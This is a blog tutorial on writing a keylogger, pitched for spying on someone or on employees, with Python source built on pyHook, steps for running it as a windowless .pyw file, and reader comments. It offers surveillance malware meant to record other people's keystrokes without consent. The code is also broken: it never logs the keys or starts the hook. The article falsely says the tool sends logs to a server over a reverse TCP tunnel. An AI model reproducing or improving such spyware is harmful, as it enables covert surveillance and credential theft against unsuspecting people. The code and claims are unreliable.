How To Create a Keylogger using Notepad

A Keylogger is a very powerful hacking or spying tools. If you are looking to spy on someone’s activity or to check out what your employees do at work you might be looking for ways on how to create a keylogger.

A keylogger is a hacking tool of the newbie but sometimes highly skilled hackers also use them. These are very easy to create and use. So, let’s learn how to create our free keylogger.

What is a keylogger?

Before that, it’s important to know what is a keylogger actually(in case you did not already know). It is a program that records your keystrokes and saves them as a log file either onto a server over a reverse TCP tunnel or on the local machine itself. The server, in this case, is the one hosted by the hacker(you).

Also Read- 15 Best Free Hacking Apps And Tools For Android

So since now, you know what a keylogger is. let’s have a look at a step by step guide on how to make a keylogger.

How To Create a Keylogger Using Notepad?

Let’s get started! Mention below is the source code for keylogger in Python.

1. Open notepad on your computer and paste the following code in it:
import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location
file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent

2. Save the file as keylogger.pyw

3. Fire up your keylogger
Double-click on the file you just created and test it out, then start typing.

When you want to stop logging, open up task manager and kill all the “python” processes. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.

NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

So this is a simple keylogger that saves the keystrokes on the local machine. You can explore further for more complex keyloggers.

4. Where to go from here?
1. Keylogger Wiki
2. Actual Keylogger for Windows

Also, consider reading the disclaimer before trying it out yourself:

The information provided is for educational purpose only, if a person uses this information for malicious purposes, he/she will be solely responsible for the legal and other consequences.


So this was how you can create a keylogger using a simple method. do let us know if you know of any other method to make it.

Subscribe to our newsletter

To be updated with all the latest news

Abhishek Awasthi
Abhishek Awasthi
Continuous improvement is better than delayed perfection -Mark Twain.


  1. This is hilarious. This is a python script. 99.9999% won’t even have this installed on their systems.

    Also, “onto a server over reverse TCP tunnel”….what? This script does nothing of the sorts.

    Who writes this shit.

  2. i am unable to open keylogger.pyw… windows shows a prompt”windows unable to open the file you will need a file to open this .pyw file”.. what should i do!

  3. Hello,

    The code is using global system hooks who are detected by the most basic anti virus / anti malware and so on. Even the free solutions are able to detect such a hook.

    So this is a nice experiment but not a real usable keylogger in my opinion.


  4. Dan Gurghian is right but for people who have direct access to the other computer it’s very simple. Though it couldn’t help me


Please enter your comment!
Please enter your name here

Subscribe to our newsletter

To be updated with all the latest news

Read More

Suggested Post